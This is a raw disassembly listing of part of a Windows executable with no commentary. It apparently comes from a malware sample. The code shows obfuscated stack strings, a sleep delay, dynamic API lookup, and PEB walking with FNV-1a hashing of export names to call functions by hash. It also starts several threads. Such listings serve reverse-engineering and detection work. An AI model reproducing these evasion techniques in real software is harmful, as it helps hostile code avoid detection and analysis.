cmp dword [0x535af4], 0
jne 0x4606ed
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
cmp dword [ebp - 0x204], 0
jne 0x4606ed
mov edx, 0x535ae4
lea ecx, [ebp - 0x3dc]
call fcn.0041c990
mov esi, eax
lea ecx, [ebp - 0x250]
push esi
call fcn.00465f90
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x238]
call fcn.00465f90
lea ecx, [ebp - 0x3c4]
call fcn.004026c0
lea ecx, [ebp - 0x3dc]
call fcn.004026c0
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x214]
call fcn.00465f60
push 0
push 0x1fee
call fcn.00407d20
add esp, 8
push eax
call edi
cmp dword [0x535af4], 0
je 0x460670
mov ecx, 0x535ae4
call fcn.00402800
push 0x521a00
push eax
call fcn.004deab0
add esp, 8
test eax, eax
je 0x46079f
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0xf0]
call fcn.00402880
push 1
push 0x521734
lea ecx, [ebp - 0xf0]
call fcn.004028a0
push edi
lea ecx, [ebp - 0x1fc]
call fcn.00402880
push 1
push 0x521a00
lea ecx, [ebp - 0x1fc]
call fcn.004028a0
lea eax, [ebp - 0xf0]
mov ecx, 0x535ae4
push eax
lea edx, [ebp - 0x1fc]
call fcn.0040c790
add esp, 4
lea ecx, [ebp - 0x1fc]
call fcn.004026c0
lea ecx, [ebp - 0xf0]
call fcn.004026c0
mov ecx, 0x535ae4
call fcn.00402800
push 0x521a00
push eax
call fcn.004deab0
add esp, 8
test eax, eax
jne 0x460713
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf4], 0x100efeb
call fcn.00463430
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x5f8]
call fcn.00402760
lea ecx, [ebp - 0xd6]
mov dword [ebp - 0xd6], 0x100e0f2
call fcn.00463430
lea eax, [ebp - 0xd6]
push eax
lea ecx, [ebp - 0x5e0]
call fcn.00402760
lea ecx, [ebp - 0xba]
mov dword [ebp - 0xba], 0x100e3fb
call fcn.00463430
lea eax, [ebp - 0xba]
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00402760
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x68], 0x100f7f8
call fcn.00463430
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5b0]
call fcn.00402760
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], 0x100e0ec
call fcn.00463430
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x598]
call fcn.00402760
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x100fef4
call fcn.00463430
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x580]
call fcn.00402760
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x60], 0x100fdf2
call fcn.00463430
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x568]
call fcn.00402760
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x64], 0x100f0ed
call fcn.00463430
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x550]
call fcn.00402760
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x100fbec
call fcn.00463430
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x538]
call fcn.00402760
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x100e0f8
call fcn.00463430
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x520]
call fcn.00402760
lea eax, [ebp - 0x508]
lea ecx, [ebp - 0x5f8]
push eax
push ecx
lea ecx, [ebp - 0x414]
call fcn.004625c0
push fcn.004026c0
push 0xa
push 0x18
lea eax, [ebp - 0x5f8]
push eax
call fcn.004dd4a5
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x414]
call fcn.0046ae20
test eax, eax
je 0x460977
movaps xmm0, xmmword [0x526ed0]
lea ecx, [ebp - 0x294]
movups xmmword [ebp - 0x294], xmm0
mov dword [ebp - 0x284], 0x100b9ba
call fcn.004630d0
push 0x521998
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x294]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x460977
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.gert4634
call ebx
call fcn.0041fcf0
call fcn.0041fd60
call fcn.0041fdd0
call fcn.0041fe40
call fcn.0041feb0
cmp byte [0x5380f0], 1
jne 0x460cf7
lea ecx, [ebp - 0x17d]
mov dword [ebp - 0x17d], 0xdedac8de
mov dword [ebp - 0x179], 0xb2dccde2
mov dword [ebp - 0x175], 0xada7a4
mov byte [ebp - 0x171], 1
call fcn.00463250
lea eax, [ebp - 0x17d]
mov ecx, 0x5380f0
push eax
call fcn.0046a110
cmp byte [eax], 4
jne 0x460cf7
lea ecx, [ebp - 0x1db]
mov dword [ebp - 0x1db], 0xdedac8de
mov dword [ebp - 0x1d7], 0xb2dccde2
mov dword [ebp - 0x1d3], 0xada7a4
mov byte [ebp - 0x1cf], 1
call fcn.0040da60
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
lea ecx, [ebp - 0x1a4]
mov byte [0x535aab], al
mov dword [ebp - 0x1a4], 0xdedac8de
mov dword [ebp - 0x1a0], 0xd8cae2
mov byte [ebp - 0x19c], 1
call fcn.0040b910
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
lea ecx, [ebp - 0x35]
mov byte [0x535ac5], al
mov dword [ebp - 0x35], 0xdedac8de
mov dword [ebp - 0x31], 0xccdae2
mov byte [ebp - 0x2d], 1
call fcn.0040b910
push eax
mov ecx, 0x5380f0
call fcn.0046a110
lea edx, [ebp - 0x78]
mov ecx, eax
call fcn.00479f50
mov al, byte [ebp - 0x78]
lea ecx, [ebp - 0x76]
mov byte [0x535aaa], al
mov dword [ebp - 0x76], 0xdedac8de
mov dword [ebp - 0x72], 0xacdec9e2
mov dword [ebp - 0x6e], 0xb7b7a7ad
mov word [ebp - 0x6a], 0x100
call fcn.00463100
lea eax, [ebp - 0x76]
mov ecx, 0x5380f0
push eax
call fcn.0046a110
lea edx, [ebp - 0x79]
mov ecx, eax
call fcn.00479f50
mov al, byte [ebp - 0x79]
lea ecx, [ebp - 0x19b]
mov byte [0x535aa9], al
mov dword [ebp - 0x19b], 0xdedac8de
mov dword [ebp - 0x197], 0xa9d7d7e2
mov dword [ebp - 0x193], 0xb6acb6b2
mov word [ebp - 0x18f], 0xbc
mov byte [ebp - 0x18d], 1
call fcn.004633a0
lea eax, [ebp - 0x19b]
mov ecx, 0x5380f0
push eax
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
lea ecx, [ebp - 0x1c2]
mov byte [0x535ac4], al
mov dword [ebp - 0x1c2], 0xdedac8de
mov dword [ebp - 0x1be], 0xb0cbd8e2
mov word [ebp - 0x1ba], 0x100
call fcn.0040f320
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
lea ecx, [ebp - 0x1ce]
mov byte [0x535ac6], al
mov dword [ebp - 0x1ce], 0xdedac8de
mov dword [ebp - 0x1ca], 0xadded9e2
mov dword [ebp - 0x1c6], 0x100b1a4
call fcn.0040f350
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
movaps xmm0, xmmword [0x525e50]
lea ecx, [ebp - 0x391]
mov byte [0x535aa8], al
movups xmmword [ebp - 0x391], xmm0
mov byte [ebp - 0x381], 1
call fcn.0040f2f0
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
lea ecx, [ebp - 0x1b8]
mov byte [0x535ac8], al
mov dword [ebp - 0x1b8], 0xdedac8de
mov dword [ebp - 0x1b4], 0xaecfc8e2
mov word [ebp - 0x1b0], 0x100
call fcn.0040f320
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
lea ecx, [ebp - 0x1ae]
mov byte [0x535ac7], al
mov dword [ebp - 0x1ae], 0xe3dec9cc
mov dword [ebp - 0x1aa], 0xa3d1c8d5
mov word [ebp - 0x1a6], 0x100
call fcn.0040f320
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
movaps xmm0, xmmword [0x526ba0]
lea ecx, [ebp - 0x2bc]
mov byte [0x537ee8], al
movups xmmword [ebp - 0x2bc], xmm0
mov dword [ebp - 0x2ac], 0x100abbd
call fcn.0040f3b0
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
movaps xmm0, xmmword [0x5267a0]
lea ecx, [ebp - 0xb5]
mov byte [0x537ec3], al
movups xmmword [ebp - 0xb5], xmm0
mov dword [ebp - 0xa5], 0xb8a4ac
mov byte [ebp - 0xa1], 1
call fcn.0040f4d0
push eax
mov ecx, 0x5380f0
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
mov byte [0x537ee2], al
push 0x5214f8
lea ecx, [ebp - 0x31c]
call fcn.00402760
push 0x5214f8
lea ecx, [ebp - 0x304]
call fcn.00402760
push 0x5214f8
lea ecx, [ebp - 0x2ec]
call fcn.00402760
push 0x5381c0
lea ecx, [ebp - 0x268]
call fcn.004676b0
lea ecx, [ebp - 0x268]
call fcn.00467670
push 0x5381c0
lea ecx, [ebp - 0x32c]
call fcn.004676b0
lea ecx, [ebp - 0x32c]
call fcn.00467640
lea eax, [ebp - 0x32c]
push eax
lea ecx, [ebp - 0x268]
call fcn.00467580
test al, al
jne 0x461458
mov ebx, dword [ebp - 0x10]
nop word [eax + eax]
lea ecx, [ebp - 0x268]
call fcn.00462d20
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x118], 0xd9d6dbd7
mov edi, eax
mov word [ebp - 0x114], 0x100
call fcn.004632b0
lea eax, [ebp - 0x118]
mov ecx, edi
push eax
call fcn.0046a110
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004027d0
lea edx, [ebp - 0xf0]
mov ecx, esi
call fcn.00479eb0
movaps xmm0, xmmword [0x5266c0]
lea ecx, [ebp - 0xb6]
movups xmmword [ebp - 0xb6], xmm0
mov dword [ebp - 0xa6], 0xfd94afa7
mov word [ebp - 0xa2], 0x100
call fcn.00462ee0
push 0
lea eax, [ebp - 0xb6]
push eax
lea ecx, [ebp - 0xf0]
call fcn.00465b80
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004026c0
test esi, esi
jne 0x460fcd
lea ecx, [ebp - 0x125]
mov dword [ebp - 0x125], 0xc9d7dbcf
mov word [ebp - 0x121], 0xd8
mov byte [ebp - 0x11f], 1
call fcn.004634d0
lea eax, [ebp - 0x125]
mov ecx, edi
push eax
call fcn.0046a110
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004027d0
lea edx, [ebp - 0xf0]
mov ecx, esi
call fcn.00479eb0
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x31c]
call fcn.00465f90
lea ecx, [ebp - 0xf0]
call fcn.004026c0
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x54], 0x82c9d885
mov word [ebp - 0x50], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x31c]
call fcn.00465b80
cmp eax, 0xffffffff
je 0x460fcd
nop dword [eax]
nop word [eax + eax]
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x100b0b4
call fcn.00463430
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1fc]
call fcn.00402880
lea ecx, [ebp - 0x84]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460f00
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x1fc]
call fcn.004028a0
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xc0], 0x82c9d885
mov word [ebp - 0xbc], 0x100
call fcn.004632b0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf0]
call fcn.00402880
lea ecx, [ebp - 0xc0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460f51
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.004028a0
lea eax, [ebp - 0x1fc]
push eax
lea edx, [ebp - 0xf0]
lea ecx, [ebp - 0x31c]
call fcn.0040c790
add esp, 4
lea ecx, [ebp - 0xf0]
call fcn.004026c0
lea ecx, [ebp - 0x1fc]
call fcn.004026c0
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x54], 0x82c9d885
mov word [ebp - 0x50], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x31c]
call fcn.00465b80
cmp eax, 0xffffffff
jne 0x460ed0
lea ecx, [ebp - 0x106]
mov dword [ebp - 0x106], 0xd9d6dbd7
mov word [ebp - 0x102], 0x100
call fcn.004632b0
lea eax, [ebp - 0x106]
mov ecx, edi
push eax
call fcn.0046a110
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004027d0
lea edx, [ebp - 0xf0]
mov ecx, esi
call fcn.00479eb0
movaps xmm0, xmmword [0x5266c0]
lea ecx, [ebp - 0xb6]
movups xmmword [ebp - 0xb6], xmm0
mov dword [ebp - 0xa6], 0xfe94afa7
mov word [ebp - 0xa2], 0x100
call fcn.00462ee0
push 0
lea eax, [ebp - 0xb6]
push eax
lea ecx, [ebp - 0xf0]
call fcn.00465b80
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004026c0
test esi, esi
jne 0x46120d
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0xc9d7dbcf
mov word [ebp - 0x128], 0xd8
mov byte [ebp - 0x126], 1
call fcn.004634d0
lea eax, [ebp - 0x12c]
mov ecx, edi
push eax
call fcn.0046a110
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004027d0
lea edx, [ebp - 0xf0]
mov ecx, esi
call fcn.00479eb0
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465f90
lea ecx, [ebp - 0xf0]
call fcn.004026c0
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0x82c9d885
mov word [ebp - 0x4a], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465b80
cmp eax, 0xffffffff
je 0x46120d
nop dword [eax]
nop word [eax + eax]
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], 0x100b0b4
call fcn.00463430
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1fc]
call fcn.00402880
lea ecx, [ebp - 0x88]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461140
sub ecx, edx
lea eax, [ebp - 0x88]
push ecx
push eax
lea ecx, [ebp - 0x1fc]
call fcn.004028a0
lea ecx, [ebp - 0xc6]
mov dword [ebp - 0xc6], 0x82c9d885
mov word [ebp - 0xc2], 0x100
call fcn.004632b0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf0]
call fcn.00402880
lea ecx, [ebp - 0xc6]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461191
sub ecx, edx
lea eax, [ebp - 0xc6]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.004028a0
lea eax, [ebp - 0x1fc]
push eax
lea edx, [ebp - 0xf0]
lea ecx, [ebp - 0x304]
call fcn.0040c790
add esp, 4
lea ecx, [ebp - 0xf0]
call fcn.004026c0
lea ecx, [ebp - 0x1fc]
call fcn.004026c0
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0x82c9d885
mov word [ebp - 0x4a], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465b80
cmp eax, 0xffffffff
jne 0x461110
lea ecx, [ebp - 0xfa]
mov dword [ebp - 0xfa], 0xd9d6dbd7
mov word [ebp - 0xf6], 0x100
call fcn.004632b0
lea eax, [ebp - 0xfa]
mov ecx, edi
push eax
call fcn.0046a110
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004027d0
lea edx, [ebp - 0xf0]
mov ecx, esi
call fcn.00479eb0
movaps xmm0, xmmword [0x5266c0]
lea ecx, [ebp - 0xb6]
movups xmmword [ebp - 0xb6], xmm0
mov dword [ebp - 0xa6], 0xff94afa7
mov word [ebp - 0xa2], 0x100
call fcn.00462ee0
push 0
lea eax, [ebp - 0xb6]
push eax
lea ecx, [ebp - 0xf0]
call fcn.00465b80
lea ecx, [ebp - 0xf0]
mov esi, eax
call fcn.004026c0
test esi, esi
jne 0x46142d
lea ecx, [ebp - 0x13a]
mov dword [ebp - 0x13a], 0xc9d7dbcf
mov word [ebp - 0x136], 0xd8
mov byte [ebp - 0x134], 1
call fcn.004634d0
lea eax, [ebp - 0x13a]
mov ecx, edi
push eax
call fcn.0046a110
lea ecx, [ebp - 0x3c4]
push ecx
mov ecx, eax
call fcn.0046a250
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465f90
lea ecx, [ebp - 0x3c4]
call fcn.004026c0
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0x82c9d885
mov word [ebp - 0x44], 0x100
call fcn.004632b0
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465b80
cmp eax, 0xffffffff
je 0x46142d
nop
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x8c], 0x100b0b4
call fcn.00463430
push ebx
lea ecx, [ebp - 0x1fc]
call fcn.00402880
lea ecx, [ebp - 0x8c]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461360
sub ecx, edx
lea eax, [ebp - 0x8c]
push ecx
push eax
lea ecx, [ebp - 0x1fc]
call fcn.004028a0
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0x82c9d885
mov word [ebp - 0xc8], 0x100
call fcn.004632b0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf0]
call fcn.00402880
lea ecx, [ebp - 0xcc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4613b1
sub ecx, edx
lea eax, [ebp - 0xcc]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.004028a0
lea eax, [ebp - 0x1fc]
push eax
lea edx, [ebp - 0xf0]
lea ecx, [ebp - 0x2ec]
call fcn.0040c790
add esp, 4
lea ecx, [ebp - 0xf0]
call fcn.004026c0
lea ecx, [ebp - 0x1fc]
call fcn.004026c0
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0x82c9d885
mov word [ebp - 0x44], 0x100
call fcn.004632b0
push 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465b80
cmp eax, 0xffffffff
jne 0x461330
lea ecx, [ebp - 0x268]
call fcn.00462cd0
lea eax, [ebp - 0x32c]
push eax
lea ecx, [ebp - 0x268]
call fcn.00467580
test al, al
je 0x460d80
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [ebp - 0x2ec]
mov ecx, esp
push eax
call fcn.00466110
sub esp, 0x18
lea eax, [ebp - 0x304]
mov ecx, esp
push eax
call fcn.00466110
sub esp, 0x18
lea eax, [ebp - 0x31c]
mov ecx, esp
push eax
call fcn.00466110
call fcn.00409520
add esp, 0x48
cmp byte [0x537eea], 0
jne 0x46223e
call fcn.0044b690
call fcn.0044dd90
push str.eger_43_634
call ebx
mov ecx, 0x5380a8
call fcn.00462930
mov ecx, 0x5381a8
call fcn.00462930
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44f3b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x453530
push 0
mov ebx, eax
push 0
mov dword [ebp - 0x3c], ebx
call esi
mov dword [ebp - 0x2c], eax
call fcn.0043be30
test al, al
je 0x4615ba
lea ecx, [ebp - 0x380]
call fcn.0043c090
lea ecx, [ebp - 0x142]
mov dword [ebp - 0x142], 0xd5dcd5d5
mov edi, eax
mov dword [ebp - 0x13e], 0x100cdd3
call fcn.004631f0
lea ecx, [ebp - 0x156]
mov dword [ebp - 0x156], 0xd0cedbef
mov dword [ebp - 0x152], 0x85f6e1c9
mov word [ebp - 0x14e], 0x100
call fcn.00463160
sub esp, 0x10
lea eax, [ebp - 0x142]
mov esi, esp
mov ecx, edi
push eax
call fcn.0046a110
push eax
mov ecx, esi
call fcn.00463c10
lea eax, [ebp - 0x156]
mov ecx, 0x538140
push eax
call fcn.0046a110
mov ecx, eax
call fcn.00463bd0
push dword [ebp - 0x380]
lea ecx, [ebp - 0x378]
call fcn.004676f0
cmp byte [0x537ee3], 0
je 0x4615ba
mov eax, dword [0x537ec8]
test eax, eax
je 0x4615b3
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x537ee3], 0
lea ecx, [ebp - 0x370]
call fcn.0043cf50
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0xd5dcd5d5
mov edi, eax
mov dword [ebp - 0x24], 0x100cdd3
call fcn.004631f0
movaps xmm0, xmmword [0x526c00]
lea ecx, [ebp - 0x2a8]
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x298], 0x100b9a5
call fcn.004630d0
sub esp, 0x10
lea eax, [ebp - 0x28]
mov esi, esp
mov ecx, edi
push eax
call fcn.0046a110
push eax
mov ecx, esi
call fcn.00463c10
lea eax, [ebp - 0x2a8]
mov ecx, 0x538140
push eax
call fcn.0046a110
mov ecx, eax
call fcn.00463bd0
push dword [ebp - 0x370]
lea ecx, [ebp - 0x368]
call fcn.004676f0
push 0
push 0x4a7ad
call fcn.00407d20
add esp, 8
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4616c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4616c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4616c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4616a5
cmp esi, 0x71948ca4
je 0x4616cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461690
mov eax, dword [eax]
jmp 0x461664
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461764
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461764
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46175d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461740
cmp esi, 0xfaba0065
je 0x461768
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461726
mov eax, dword [eax]
jmp 0x461700
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4617f4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4617f4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4617ed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4617d0
cmp esi, 0xfaba0065
je 0x4617f8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4617b8
mov eax, dword [eax]
jmp 0x461792
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
call fcn.0044e570
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x453af0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x455490
push 0
push 0
mov dword [ebp - 0x2c], eax
call ebx
push 0
push 0
push 0
push 0x458600
push 0
push 0
mov dword [ebp - 0x3c], eax
call ebx
push 0
push 0
push 0
push 0x45a860
push 0
push 0
mov dword [ebp - 0x64], eax
call ebx
push 0
push 0
push 0
push 0x45d350
push 0
push 0
mov dword [ebp - 0x60], eax
call ebx
push 0
push 0
push 0
push 0x45d4a0
push 0
push 0
mov dword [ebp - 0x5c], eax
call ebx
push 0
push 0
push 0
push 0x45efa0
push 0
push 0
mov dword [ebp - 0x58], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x68], eax
mov ecx, esp
push 0x535ae4
call fcn.00466110
sub esp, 0x18
lea eax, [ebp - 0x238]
mov ecx, esp
push eax
call fcn.00466110
sub esp, 0x18
lea eax, [ebp - 0x250]
mov ecx, esp
push eax
call fcn.00466110
sub esp, 0x18
mov ecx, esp
push 0x535afc
call fcn.00466110
call fcn.0040dd20
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461964
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461964
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46195d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461940
cmp esi, 0x71948ca4
je 0x461968
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461927
mov eax, dword [eax]
jmp 0x461901
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4619f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4619f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4619f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4619d5
cmp esi, 0x71948ca4
je 0x4619fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4619c0
mov eax, dword [eax]
jmp 0x461997
